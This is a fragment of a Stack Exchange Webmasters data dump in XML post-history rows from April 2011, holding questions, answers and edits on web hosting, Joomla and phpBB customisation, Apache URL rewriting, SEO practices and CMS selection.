  <row Id="29555" PostHistoryTypeId="2" PostId="12896" RevisionGUID="60ccca0e-d3a2-4f08-828e-c904a17f59b2" CreationDate="2011-04-25T18:40:25.650" UserId="132" Text="I moved most of my domains from &lt;a href=&quot;http://www.dreamhost.com/&quot;&gt;Dreamhost&lt;/a&gt; to &lt;a href=&quot;http://www.gandi.net/&quot;&gt;Gandi&lt;/a&gt; some while ago, mostly so domains can be managed separately from hosting. Gandi has a straightforward interface and feature set, allowing most common domain-related activities." />
  <row Id="29556" PostHistoryTypeId="2" PostId="12897" RevisionGUID="20a80835-3aa4-4779-856c-fa32f8f1df29" CreationDate="2011-04-25T18:53:28.550" UserId="7082" Text="So im using EJBS, JPA and GWT. I was wondering if someone knew of a hosting service that offered what i need (like a glassfish o jboss server).  &#xD;&#xA; I need a servlet and an EJB container" />
  <row Id="29557" PostHistoryTypeId="1" PostId="12897" RevisionGUID="20a80835-3aa4-4779-856c-fa32f8f1df29" CreationDate="2011-04-25T18:53:28.550" UserId="7082" Text="Hosting services for J2EE" />
  <row Id="29558" PostHistoryTypeId="3" PostId="12897" RevisionGUID="20a80835-3aa4-4779-856c-fa32f8f1df29" CreationDate="2011-04-25T18:53:28.550" UserId="7082" Text="&lt;web-hosting&gt;&lt;java&gt;" />
  <row Id="29562" PostHistoryTypeId="2" PostId="12899" RevisionGUID="567d8818-75a5-408a-b924-f702e88fd8f4" CreationDate="2011-04-25T19:37:40.107" UserId="7085" Text="In short, change&#xD;&#xA;&#xD;&#xA;    echo JText::sprintf('Read more', $this-&gt;escape($this-&gt;item-&gt;title));&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    echo JText::sprintf('Read more...');&#xD;&#xA;&#xD;&#xA;Note: that is not Joomla 1.5 default behaviours, so i guess you're getting that behaviour from the specific template you are using. You can confirm this by going to the Template Manager in backend and changing your default template to &quot;rhuk_milkyway&quot;.&#xD;&#xA;To change template output, you can look into folder /templates/[your template]/html/com_content/category (or .../frontpage, or .../section) for the file to edit.&#xD;&#xA;" />
  <row Id="29567" PostHistoryTypeId="2" PostId="12902" RevisionGUID="e3d53db1-2dca-4855-b119-af9cddf81c1b" CreationDate="2011-04-25T19:58:43.370" UserId="4410" Text="While there is probably no such thing as &quot;too long,&quot; 22 words would be considered a very long heading.&#xD;&#xA;&#xD;&#xA;Assuming you are doing this for style purposes, there is probably a better way to handle your tagline than with an H2 tag, which should be the second biggest and most most notable thing on your entire page. Stylistically, this isn't usually how taglines or slogans are displayed, even on websites. Just because it's in the header doesn't mean it's a heading. Think more like how a newspaper page is laid out. The H1 is the top, bold, big font, headline at the top of the front page. The H2 tag is the second lead story. The H3 tag is the sub-headline for that H1 story, and so on.&#xD;&#xA;&#xD;&#xA;Assuming you are doing it for SEO purposes, then you are wasting your time. It is generally accepted that Google only crawls a certain number of characters in the title tags and header tags. If that is accurate, then all the words at the end of your your tag are going to be ignored anyway." />
  <row Id="29572" PostHistoryTypeId="2" PostId="12904" RevisionGUID="60ff9dbb-a09c-4b35-bbec-6dbf283856e4" CreationDate="2011-04-25T20:50:03.610" UserId="7086" Text="You can use AWS.  They let you use Weblogic." />
  <row Id="29573" PostHistoryTypeId="5" PostId="12828" RevisionGUID="610e535f-433b-4f9c-9e81-6408610bc81f" CreationDate="2011-04-25T21:07:49.180" UserId="6624" Comment="Typo in code" Text="I'll assume that institute IDs have to be integers - no letters or decimal points or anything.&#xD;&#xA;&#xD;&#xA;    # Turn on URL re-writing&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    # Clean URLs for institutes.&#xD;&#xA;    RewriteRule ^institutes/([0-9]+)/?$   /institutes_desc.php?id=$1    [NC,L]&#xD;&#xA;&#xD;&#xA;For further information, I refer you to Dave Childs' &lt;a href=&quot;http://www.addedbytes.com/for-beginners/url-rewriting-for-beginners/&quot;&gt;thorough introduction to URL rewriting&lt;/a&gt;." />
  <row Id="29574" PostHistoryTypeId="25" PostId="12893" RevisionGUID="2619d505-5567-49dc-93da-ec88ecc55608" CreationDate="2011-04-25T21:09:17.713" Comment="http://twitter.com/#!/StackWebmasters/status/62624244026191872" />
  <row Id="29576" PostHistoryTypeId="2" PostId="12906" RevisionGUID="b234cfc0-e63c-43cb-8d28-4aaeeb350fcf" CreationDate="2011-04-25T21:52:25.723" UserId="2907" Text="I have not used this myself, but I use the TinyMCE text editor and it's pretty nice...&#xD;&#xA;&#xD;&#xA;http://tinymce.moxiecode.com/enterprise/mcimagemanager.php&#xD;&#xA;&#xD;&#xA;From the site:&#xD;&#xA;&#xD;&#xA;Key Features&#xD;&#xA;&#xD;&#xA;    * Easy to integrate.&#xD;&#xA;    * MCFileManager compatible.&#xD;&#xA;    * Create folders.&#xD;&#xA;    * Upload images.&#xD;&#xA;    * Crop &amp; Resize (if GD is enabled).&#xD;&#xA;    * Thumbnail auto generation (if GD is enabled).&#xD;&#xA;    * EXIF jpg/jpeg and tiff thumbnail support.&#xD;&#xA;    * Highly customizable configuration.&#xD;&#xA;    * Works perfectly in fullscreen and &quot;popup&quot; mode.&#xD;&#xA;    * Full source included, not obfuscated.&#xD;&#xA;    * Ajax based interface using a JSON bridge.&#xD;&#xA;    * Multilanguage support.&#xD;&#xA;" />
  <row Id="29577" PostHistoryTypeId="2" PostId="12907" RevisionGUID="6923c649-b006-4277-b276-9d8532e8e846" CreationDate="2011-04-25T21:58:38.400" UserId="2907" Text="I suppose you could try reporting to Google, but that may not get you very far. Is it possible the url is redirecting b/c of your ISP forwarding 404 errors. I worked off a server that did that once when no custom 404 page was set up.&#xD;&#xA;&#xD;&#xA;You can make 301 redirects for pages you know about by checking the intended URL that the server was trying to find and then setting the correct URL as a variable and then writing a header to redirect.&#xD;&#xA;&#xD;&#xA;I'm more familiar with the PHP side, but I'm sure it's similar... HTH." />
  <row Id="29578" PostHistoryTypeId="2" PostId="12908" RevisionGUID="7a18e98b-dfa6-4dd6-950f-b410e39aff3b" CreationDate="2011-04-25T22:03:29.050" UserId="2907" Text="Not sure I'm totally following, but you could do one of two things as a hack I think...&#xD;&#xA;&#xD;&#xA;1) If you know the correct URL you could redirect from your domain to the other URL (this may be bad for traffic later though when your domain rolls to the correct &quot;live&quot; one)&#xD;&#xA;&#xD;&#xA;2) You could set up a page on the new domain with a big iFrame that loads the other URL. The down side here is all the sub pages will not have updated URLs in the browser...&#xD;&#xA;&#xD;&#xA;This may be closer to the solution you're looking for though...&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/570890/amazon-s3-url-rewrite" />
  <row Id="29579" PostHistoryTypeId="6" PostId="10359" RevisionGUID="61cf2611-239e-407b-b471-5e68e00d4c6f" CreationDate="2011-04-25T22:12:27.487" UserId="1253" Comment="edited tags" Text="&lt;php&gt;&lt;looking-for-a-script&gt;&lt;image&gt;&lt;library&gt;" />
  <row Id="29585" PostHistoryTypeId="5" PostId="12892" RevisionGUID="f8afe16a-8748-458e-ae5c-b047c6a6f5fb" CreationDate="2011-04-26T00:55:41.900" UserId="6858" Comment="added a caveat about the use of the word 'avoid', following a comment" Text="No, you should always avoid* using use `rel=&quot;nofollow&quot;` on internal links. Matt Cutts [wrote about this](http://www.mattcutts.com/blog/pagerank-sculpting/) a while back.&#xD;&#xA;&#xD;&#xA;Of course, things might change in the future, but as of today, that's Google's advice.&#xD;&#xA;&#xD;&#xA;*As per @Mike's comment, &quot;avoid&quot; is a bit strong - &quot;don't bother with&quot; is probably more suitable." />
  <row Id="29586" PostHistoryTypeId="5" PostId="8172" RevisionGUID="426dcb6b-ca29-4423-a39e-0acb3fbcf328" CreationDate="2011-04-26T02:50:35.830" UserId="4786" Comment="removed greeting and signature per faq" Text="We currently have Analytics tracking codes running throughout our site including our Sub Domains.&#xD;&#xA;&#xD;&#xA;What I would like to do is create different Profiles under the same account segmenting the sub domains by means of filters.&#xD;&#xA;&#xD;&#xA;Currently I am just excluding the hostname of the main website by using the following custom filter:&#xD;&#xA;&#xD;&#xA;Exclude: Hostname&#xD;&#xA;Filter pattern: ^www\.mydomain\.co\.za(.*)&#xD;&#xA;&#xD;&#xA;I know this isn't the proper method of doing this though and have some of the main domains links coming through in the data.&#xD;&#xA;&#xD;&#xA;Ideally I would just like to include anything from: sub.domain.co.za&#xD;&#xA;&#xD;&#xA;Any help would be greatly appreciated." />
  <row Id="29587" PostHistoryTypeId="24" PostId="8172" RevisionGUID="426dcb6b-ca29-4423-a39e-0acb3fbcf328" CreationDate="2011-04-26T02:50:35.830" Comment="Proposed by 4786 approved by 108 edit id of 228" />
  <row Id="29600" PostHistoryTypeId="2" PostId="12910" RevisionGUID="8761fab2-91e0-4794-850f-cabe6e31fcc3" CreationDate="2011-04-26T02:54:36.403" UserId="7091" Text="Migrating to phpBB3, I want to extend it as I used to do with phpBB2. That said, you can assume that I am a little bit familiar with the code base of both and that I &quot;speak&quot; PHP fairly fluent to get the stuff done.&#xD;&#xA;&#xD;&#xA;Now, the built-in BB codes are implemented through `bbcode.php` and `message_parser.php`. That also includes support for the simple BB codes that can be created in the ACP.&#xD;&#xA;&#xD;&#xA;However, it appears that there is no hook and no other support to easily create *advanced* custom BB codes. In my case simple substitution of strings will not be sufficient for several reasons, with the most important one being that I need to make DB queries when evaluating the contents of the BB codes.&#xD;&#xA;&#xD;&#xA;To give you one example:&#xD;&#xA;&#xD;&#xA;    [topic=id][/topic]&#xD;&#xA;&#xD;&#xA;... should yield the full title of the linked topic or a red text saying that the topic does not exist, but:&#xD;&#xA;&#xD;&#xA;    [topic=id]text[/topic]&#xD;&#xA;&#xD;&#xA;... should link `text` to the topic identified by the ID." />
  <row Id="29601" PostHistoryTypeId="1" PostId="12910" RevisionGUID="8761fab2-91e0-4794-850f-cabe6e31fcc3" CreationDate="2011-04-26T02:54:36.403" UserId="7091" Text="What are my (least invasive) options to create advanced BB codes in phpBB3?" />
  <row Id="29602" PostHistoryTypeId="3" PostId="12910" RevisionGUID="8761fab2-91e0-4794-850f-cabe6e31fcc3" CreationDate="2011-04-26T02:54:36.403" UserId="7091" Text="&lt;phpbb&gt;" />
  <row Id="29603" PostHistoryTypeId="2" PostId="12911" RevisionGUID="0a09943d-608e-4276-be20-fefd0a10a91d" CreationDate="2011-04-26T02:59:44.383" UserId="5013" Text="I have been wandering around some SEO sites this evening and have been seeing this term &quot;link baiting.&quot; The word bait kind of makes it not sound so great. What exactly is link baiting and how does it differ from article marketing? From the gist of some of these descriptions I'm seeing, this is something fairly new, but it seems almost identical to article marketing. What am I missing?" />
  <row Id="29604" PostHistoryTypeId="1" PostId="12911" RevisionGUID="0a09943d-608e-4276-be20-fefd0a10a91d" CreationDate="2011-04-26T02:59:44.383" UserId="5013" Text="What is Linkbaiting?" />
  <row Id="29605" PostHistoryTypeId="3" PostId="12911" RevisionGUID="0a09943d-608e-4276-be20-fefd0a10a91d" CreationDate="2011-04-26T02:59:44.383" UserId="5013" Text="&lt;seo&gt;&lt;backlinks&gt;" />
  <row Id="29606" PostHistoryTypeId="25" PostId="12910" RevisionGUID="59306399-2a89-4d02-9d52-432e84d1fd87" CreationDate="2011-04-26T03:09:18.007" Comment="http://twitter.com/#!/StackWebmasters/status/62714841718198274" />
  <row Id="29607" PostHistoryTypeId="2" PostId="12912" RevisionGUID="738d23fe-a318-4920-b089-efb51f440544" CreationDate="2011-04-26T03:48:57.293" UserId="5809" Text="I know having images or video sometimes helps boost a page's SEO.  But what about a google map of some relevant things?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29608" PostHistoryTypeId="1" PostId="12912" RevisionGUID="738d23fe-a318-4920-b089-efb51f440544" CreationDate="2011-04-26T03:48:57.293" UserId="5809" Text="Does it help with page SEO if I have a google map on the page?" />
  <row Id="29609" PostHistoryTypeId="3" PostId="12912" RevisionGUID="738d23fe-a318-4920-b089-efb51f440544" CreationDate="2011-04-26T03:48:57.293" UserId="5809" Text="&lt;seo&gt;&lt;map&gt;" />
  <row Id="29610" PostHistoryTypeId="2" PostId="12913" RevisionGUID="642bb951-345e-49c4-910b-8e701e3cde03" CreationDate="2011-04-26T03:59:00.817" UserId="6467" Text="Its not new. It means creating content that people want to link to. Infographics can be good link bait. The proper way to get links it to have something worth linking to. By creating something unique, or something very informative, you create link bait. &#xD;&#xA;Here is a good example of a very well written article that is link bait: http://www.seobook.com/economics-of-content-farms" />
  <row Id="29611" PostHistoryTypeId="5" PostId="12913" RevisionGUID="4a28c9d1-2d14-48ad-b191-15d015c1ff57" CreationDate="2011-04-26T04:04:43.383" UserId="6467" Comment="added 60 characters in body" Text="Its not new. It means creating content that people want to link to. Infographics can be good link bait. The proper way to get links it to have something worth linking to. By creating something unique, or something very informative, you create link bait. &#xD;&#xA;Here is a good example of a very well written article that is link bait: http://www.seobook.com/economics-of-content-farms&#xD;&#xA;&#xD;&#xA;More info:http://www.ericward.com/linkbait-services.html" />
  <row Id="29614" PostHistoryTypeId="25" PostId="12912" RevisionGUID="1f4f42e9-8c66-4c3d-8016-6d0aa9acd0b6" CreationDate="2011-04-26T06:09:19.047" Comment="http://twitter.com/#!/StackWebmasters/status/62760145037438977" />
  <row Id="29615" PostHistoryTypeId="2" PostId="12916" RevisionGUID="c7ad88ae-f47a-407c-bc9a-3270d408ce0b" CreationDate="2011-04-26T07:30:56.017" UserId="4461" Text="No.&#xD;&#xA;&#xD;&#xA;I'm responsible for a site that has one of the largest implementations of Google Maps (per impressions) outside of Google Maps itself (in Australia). Both with that, and with overlay (including links) of data, we have seen on 1million+ pages that with or without Google Maps has zero effect on the page's ranking.&#xD;&#xA;&#xD;&#xA;I'm not going to speculate on the specifics of *why* this doesn't impact SEO (because I simply don't know definitively), but most of Google Maps requires the execution of JavaScript, and as we know, while Google does indeed crawl and execute some JS, it's mostly for link discovery and detection of spammy redirects." />
  <row Id="29616" PostHistoryTypeId="6" PostId="12912" RevisionGUID="079732d2-96a9-4e85-9690-5f8b12ab2a8c" CreationDate="2011-04-26T07:32:09.147" UserId="4461" Comment="edited tags" Text="&lt;seo&gt;&lt;google-ranking&gt;&lt;google-maps&gt;" />
  <row Id="29617" PostHistoryTypeId="2" PostId="12917" RevisionGUID="d1f06c76-8a91-4205-b29d-162ce5f916e9" CreationDate="2011-04-26T07:37:42.440" UserId="4461" Text="It is simply wording a link in such a way (using controversial or inquisitive/mysterious) language that makes it hard for readers not to click on the link. I don't agree with @joe that it's simply content that's worth linking to, its more than that - it's the emotive appeal. The final destination doesn't actually have to be link-worthy, but because the &quot;hook&quot; was so well crafted, then the &quot;bait&quot; was taken and the reader ended where they normally might not have.&#xD;&#xA;&#xD;&#xA;E.g.: [StackExchange now pays $20 for every correct answer!][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Link_bait" />
  <row Id="29619" PostHistoryTypeId="2" PostId="12918" RevisionGUID="cf1f6a72-111a-4993-a9de-19a76c03d98b" CreationDate="2011-04-26T08:39:42.140" UserId="3461" Text="Did you check that it's taking same skin/theme than before? Sometimes some operations might lead changing pro silver to another, etc. Might happen more when using custom themes, etc. If I remember well, the older skins (or custom ones based in older themes) where more a bout fixed px widths, while the latest are more liquid, 100% widths. Maybe some update action or reset, after that mod install try might have changed the theme." />
  <row Id="29620" PostHistoryTypeId="6" PostId="12886" RevisionGUID="c985ff77-3ece-4825-a04e-93a9c654f363" CreationDate="2011-04-26T08:58:05.220" UserId="1010" Comment="Updating tags to be slightly less generic" Text="&lt;phpbb&gt;" />
  <row Id="29621" PostHistoryTypeId="24" PostId="12886" RevisionGUID="c985ff77-3ece-4825-a04e-93a9c654f363" CreationDate="2011-04-26T08:58:05.220" Comment="Proposed by 1010 approved by 1064 edit id of 231" />
  <row Id="29625" PostHistoryTypeId="25" PostId="12911" RevisionGUID="5f78a1bc-b33e-4655-89e8-5488e4c4d342" CreationDate="2011-04-26T09:09:19.643" Comment="http://twitter.com/#!/StackWebmasters/status/62805444938301440" />
  <row Id="29626" PostHistoryTypeId="2" PostId="12919" RevisionGUID="77bc0799-dc2f-494e-a78f-ae331fe06ad7" CreationDate="2011-04-26T09:34:31.440" UserId="5718" Text="I've decided that the best way to see if a business.com listing is worth the money was to test it out. I've placed PPC ads into several categories and will see if I get any clicks. I should be able to roughly compare the cost of a yearly listing to the equivalent PPC charges. &#xD;&#xA;&#xD;&#xA;If it's worth the money based on referral traffic alone then I will probably make the purchase. However, I don't intend to buy a listing for purely link building reasons as there are many more ways I can do that without having to pay and that are likely to be more effective." />
  <row Id="29632" PostHistoryTypeId="2" PostId="12921" RevisionGUID="fd02dd9a-d5b5-4263-aeda-52c4892919ae" CreationDate="2011-04-26T10:41:57.277" UserId="7097" Text="A friend of mine is a very competent graphic designer who wants to expand their skills and get into web design (just the visual design, no coding). While some skills certainly transfer over, web design also has its own specific disciplines that a print designer may not be familiar with (user experience/interaction design, web accessibility, differences in formats etc.).&#xD;&#xA;&#xD;&#xA;So what would you recommend as the best books/web sites/other resources for a graphic designer looking to get into web design? General introductory resources would be excellent, but if there's anything out there specifically covering graphic designers looking to transfer their skills over that would be fantastic.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="29633" PostHistoryTypeId="1" PostId="12921" RevisionGUID="fd02dd9a-d5b5-4263-aeda-52c4892919ae" CreationDate="2011-04-26T10:41:57.277" UserId="7097" Text="What are the best resources for a graphic designer looking to get into web design?" />
  <row Id="29634" PostHistoryTypeId="3" PostId="12921" RevisionGUID="fd02dd9a-d5b5-4263-aeda-52c4892919ae" CreationDate="2011-04-26T10:41:57.277" UserId="7097" Text="&lt;website-design&gt;&lt;learning&gt;" />
  <row Id="29635" PostHistoryTypeId="6" PostId="12921" RevisionGUID="82679cad-516b-4a87-83af-e8a0f9293179" CreationDate="2011-04-26T11:17:48.993" UserId="7097" Comment="edited tags" Text="&lt;website-design&gt;&lt;design&gt;&lt;research&gt;&lt;learning&gt;&lt;resources&gt;" />
  <row Id="29636" PostHistoryTypeId="2" PostId="12922" RevisionGUID="d6ea61c4-6e09-4805-901c-d22e0ef68c17" CreationDate="2011-04-26T11:29:21.073" UserId="1643" Text="It will boost the SEO if it makes it more useful for people (not search engines), and they link to it. Not directly though." />
  <row Id="29637" PostHistoryTypeId="16" PostId="12921" RevisionGUID="8824a857-b335-442e-ad4a-4e1c91b67b3d" CreationDate="2011-04-26T11:34:23.820" UserId="1253" />
  <row Id="29638" PostHistoryTypeId="18" PostId="11777" RevisionGUID="3d0fba5a-3338-4d25-944e-20805af26da7" CreationDate="2011-04-26T11:47:00.727" UserId="1253" Comment="to http://webmasters.stackexchange.com/questions/11712/hijax-sneaky-javascript-redirects-will-i-get-banned-from-google" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29639" PostHistoryTypeId="18" PostId="11778" RevisionGUID="3d0fba5a-3338-4d25-944e-20805af26da7" CreationDate="2011-04-26T11:47:00.727" UserId="1253" Comment="from http://webmasters.stackexchange.com/questions/11777/hijax-sneaky-javascript-redirects-will-i-get-banned-from-google" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29640" PostHistoryTypeId="18" PostId="11712" RevisionGUID="3d0fba5a-3338-4d25-944e-20805af26da7" CreationDate="2011-04-26T11:47:00.727" UserId="1253" Comment="from http://webmasters.stackexchange.com/questions/11777/hijax-sneaky-javascript-redirects-will-i-get-banned-from-google" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29641" PostHistoryTypeId="14" PostId="11777" RevisionGUID="1b427da2-9b5b-46af-b042-ea0c1307822c" CreationDate="2011-04-26T11:47:00.927" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29642" PostHistoryTypeId="2" PostId="12923" RevisionGUID="c8d3c253-ffce-4aa5-b845-67a1eb5e6db7" CreationDate="2011-04-26T11:56:56.357" UserDisplayName="Luke" Text="How do you get links to your site from other sites?" />
  <row Id="29643" PostHistoryTypeId="1" PostId="12923" RevisionGUID="c8d3c253-ffce-4aa5-b845-67a1eb5e6db7" CreationDate="2011-04-26T11:56:56.357" UserDisplayName="Luke" Text="What is a good way to get many inbound links to your site?" />
  <row Id="29644" PostHistoryTypeId="3" PostId="12923" RevisionGUID="c8d3c253-ffce-4aa5-b845-67a1eb5e6db7" CreationDate="2011-04-26T11:56:56.357" UserDisplayName="Luke" Text="&lt;hyperlink&gt;&lt;seo&gt;" />
  <row Id="29645" PostHistoryTypeId="17" PostId="12923" RevisionGUID="dc0d619a-badd-48af-a7b1-d131c5b4bf3c" CreationDate="2011-04-26T11:59:27.613" UserId="-1" Comment="from http://stackoverflow.com/questions/5789930/what-is-a-good-way-to-get-many-inbound-links-to-your-site" Text="" />
  <row Id="29646" PostHistoryTypeId="5" PostId="8187" RevisionGUID="ca7482bf-e584-46d2-a684-afa162e95abd" CreationDate="2011-04-26T11:59:49.003" UserId="5013" Comment="spelling, grammar, retagging" Text="A friend has asked me to build a site with the following options: &#xD;&#xA;&#xD;&#xA;- staff members must be able to add new music and artists to the page&#xD;&#xA;- a gallery must be provided - it is also good if each artist has the ability to have his/her own smaller gallery&#xD;&#xA;- users must be able to vote for artists&#xD;&#xA;- users must be able to alter in discussions (forums or comments sections)&#xD;&#xA;- staff members must be able to blog&#xD;&#xA;- staff members must be able to write articles&#xD;&#xA;&#xD;&#xA;I did a small project where i actually implemented all of these features, but I want to  use an existing content management system for all of these features so that future developers can, hopefully, more easy extend the website. And also, so that I don't have to provide too much documentation. &#xD;&#xA;&#xD;&#xA;I have never developed a website using an external CMS like Drupal or Wordpress and after seeing hours of tutorial videos of both systems, I still can't make up my mind on whether i should : &#xD;&#xA;&#xD;&#xA;a) use Drupal 7&#xD;&#xA;b) use Wordpress 3&#xD;&#xA;c) create my own cms&#xD;&#xA;&#xD;&#xA;I can imagine that staff members would also want to create content using iPhone or android based mobile devices, but this is not a required feature.&#xD;&#xA;&#xD;&#xA;Can someone, with experience, please tell me about their experiences with larger projects like this? &#xD;&#xA;&#xD;&#xA;The site will have approximately 400 000 - 500 000 visitors (not daily visitors, based on numbers from last year in a period of 4 months)" />
  <row Id="29647" PostHistoryTypeId="4" PostId="8187" RevisionGUID="ca7482bf-e584-46d2-a684-afa162e95abd" CreationDate="2011-04-26T11:59:49.003" UserId="5013" Comment="spelling, grammar, retagging" Text="Artists and music - Need Help Deciding on a CMS" />
  <row Id="29648" PostHistoryTypeId="6" PostId="8187" RevisionGUID="ca7482bf-e584-46d2-a684-afa162e95abd" CreationDate="2011-04-26T11:59:49.003" UserId="5013" Comment="spelling, grammar, retagging" Text="&lt;wordpress&gt;&lt;cms&gt;&lt;drupal&gt;&lt;music&gt;" />
  <row Id="29649" PostHistoryTypeId="24" PostId="8187" RevisionGUID="ca7482bf-e584-46d2-a684-afa162e95abd" CreationDate="2011-04-26T11:59:49.003" Comment="Proposed by 5013 approved by 1253 edit id of 232" />
  <row Id="29650" PostHistoryTypeId="2" PostId="12924" RevisionGUID="322cbb18-8d05-407f-8851-2445a5bf375e" CreationDate="2011-04-26T12:01:09.067" UserId="233" Text="After a little bit of testing, the preview appears to use a screen width of around 1024 pixels, so it is very likely it uses 1024 as a base.&#xD;&#xA;&#xD;&#xA;I checked Wikipedia, which uses a fluid layout. Judging by the scale of the thumbnail it used around 1000 pixel width (you can check more accurately yourself if you like).&#xD;&#xA;&#xD;&#xA;I checked CSS-Tricks.com which uses a responsive layout, and the thumbnail shows the second version down (main content and one column on right). That layout appears in the range 920px to 1200px.&#xD;&#xA;&#xD;&#xA;For fixed-width designs, the screenshot is taken at or above the fixed width and cropped to that width. I don't know of a design with a fixed width higher than 1024 but if you do, give it a try!" />
  <row Id="29651" PostHistoryTypeId="17" PostId="12926" RevisionGUID="4c2d6482-eb49-4867-a3d6-b86bdf86d613" CreationDate="2011-04-26T12:04:07.743" UserId="-1" Comment="from http://stackoverflow.com/questions/5439115/whats-the-best-way-to-plan-and-manage-a-sem-campaign/5439168#5439168" Text="" />
  <row Id="29652" PostHistoryTypeId="2" PostId="12926" RevisionGUID="6d707f6b-d38b-495d-8a29-37f2333eae0c" CreationDate="2011-03-25T23:28:12.867" UserDisplayName="Mybbor" Text="If you do it yourself, you will find that spending some &quot;trial and error&quot; time can be helpful. Try to locate keywords that have low competition for cheaper traffic. Pay close attention to your metrics regarding who clicks, and who actually completes your call to action. When you start seeing patterns adjust your bidding strategy to amplify the results. One last thing, experimenting with your advertisements language and design can make huge differences in CTR. There is a ton of good information out there to research. That, along with some trial and error testing will work quite well.&#xD;&#xA;&#xD;&#xA;For an autopilot solution, I have heard great things about [Vurve][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vurve.com/" />
  <row Id="29653" PostHistoryTypeId="2" PostId="12925" RevisionGUID="57325c99-405d-4774-87c7-f54aa957c6f5" CreationDate="2011-03-25T23:21:15.150" UserId="3371" Text="We are launching a site for the local retail arena. Our deals will earn about ten dollars in income. How.should we approach sem marketing and what packages would you suggest to track our marketing spend. " />
  <row Id="29654" PostHistoryTypeId="1" PostId="12925" RevisionGUID="57325c99-405d-4774-87c7-f54aa957c6f5" CreationDate="2011-03-25T23:21:15.150" UserId="3371" Text="whats the best way to plan and manage a sem campaign?" />
  <row Id="29655" PostHistoryTypeId="3" PostId="12925" RevisionGUID="57325c99-405d-4774-87c7-f54aa957c6f5" CreationDate="2011-03-25T23:21:15.150" UserId="3371" Text="&lt;startup&gt;&lt;sem&gt;" />
  <row Id="29656" PostHistoryTypeId="17" PostId="12925" RevisionGUID="ed013921-7896-46d2-ac0d-a1a66ff943b3" CreationDate="2011-04-26T12:04:07.743" UserId="-1" Comment="from http://stackoverflow.com/questions/5439115/whats-the-best-way-to-plan-and-manage-a-sem-campaign" Text="" />
  <row Id="29657" PostHistoryTypeId="2" PostId="12927" RevisionGUID="5a8b8f16-bb78-4731-9d21-a857cafcd18b" CreationDate="2011-04-26T12:05:12.323" UserId="1253" Text="[Google is your friend][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=get%20inbound%20links" />
  <row Id="29664" PostHistoryTypeId="25" PostId="12923" RevisionGUID="3d98b7f3-fc43-465c-bc8d-a14ddf4f1ff0" CreationDate="2011-04-26T12:09:19.687" Comment="http://twitter.com/#!/StackWebmasters/status/62850744197447680" />
  <row Id="29665" PostHistoryTypeId="5" PostId="12927" RevisionGUID="9eb3ebe4-62f0-443a-b906-054fb7415541" CreationDate="2011-04-26T12:11:47.670" UserId="1253" Comment="added 389 characters in body" Text="[There are lots of easy to finds tips to help you][1]. Just keep in mind that quantity of links doesn't really help you. Quality is what matters. The quicker and easier it is to get a link the less value it almost certainly has. So instead of trying to get as many links as you can, you should be focusing on getting quality links.&#xD;&#xA;&#xD;&#xA;FYI, the best way to get quality links is to have great content on your website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=get%20inbound%20links" />
  <row Id="29667" PostHistoryTypeId="2" PostId="12929" RevisionGUID="bf6cb5a1-fcae-462e-9a59-aca8f6ea194c" CreationDate="2011-04-26T08:59:45.807" UserDisplayName="JWood" Text="I'm just about to start developing a mobile app which needs to be fed from a CMS. I started designing the tables when I thought there must be something out there which could save me a load of time and let me concentrate on the mobile side of things. &#xD;&#xA;&#xD;&#xA;So, I'm looking for a CMS that will let me create hierarchical &quot;pages&quot; which will just be 4-5 database fields with a simple front-end to allow to edit and update them. I don't mind having to write some code to layout the database and forms etc, any saving on starting from scratch would be good. The only requirement is that I be able to access the data via some sort of web service, REST, JSON, XML, anything really...&#xD;&#xA;&#xD;&#xA;Can anyone suggest anything that might help?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;J" />
  <row Id="29668" PostHistoryTypeId="1" PostId="12929" RevisionGUID="bf6cb5a1-fcae-462e-9a59-aca8f6ea194c" CreationDate="2011-04-26T08:59:45.807" UserDisplayName="JWood" Text="Web-based CMS for mobile app" />
  <row Id="29669" PostHistoryTypeId="3" PostId="12929" RevisionGUID="bf6cb5a1-fcae-462e-9a59-aca8f6ea194c" CreationDate="2011-04-26T08:59:45.807" UserDisplayName="JWood" Text="&lt;web&gt;&lt;database&gt;&lt;web-development&gt;&lt;mobile&gt;&lt;cms&gt;" />
  <row Id="29670" PostHistoryTypeId="17" PostId="12929" RevisionGUID="2baec997-f605-434b-8e8f-e4c5d92f9e68" CreationDate="2011-04-26T13:30:20.283" UserId="-1" Comment="from http://superuser.com/questions/275490/web-based-cms-for-mobile-app" Text="" />
  <row Id="29672" PostHistoryTypeId="6" PostId="12929" RevisionGUID="b7925289-5dcf-424a-8b83-78c1d89639b6" CreationDate="2011-04-26T13:48:08.920" UserId="1253" Comment="removed &quot;web database web-development&quot; tags, added &quot;looking-for-a-script &quot; tag" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;&lt;mobile&gt;" />
  <row Id="29673" PostHistoryTypeId="2" PostId="12930" RevisionGUID="ace9e141-6a66-4d17-893a-069ea57b3f55" CreationDate="2011-04-26T14:12:18.390" UserId="6033" Text="I've had a few pages trimmed from google's indexed number on my sitemap in webmaster tools. How can I tell which pages have been dropped?" />
  <row Id="29674" PostHistoryTypeId="1" PostId="12930" RevisionGUID="ace9e141-6a66-4d17-893a-069ea57b3f55" CreationDate="2011-04-26T14:12:18.390" UserId="6033" Text="How to tell which URLs have fallen out of search engine index" />
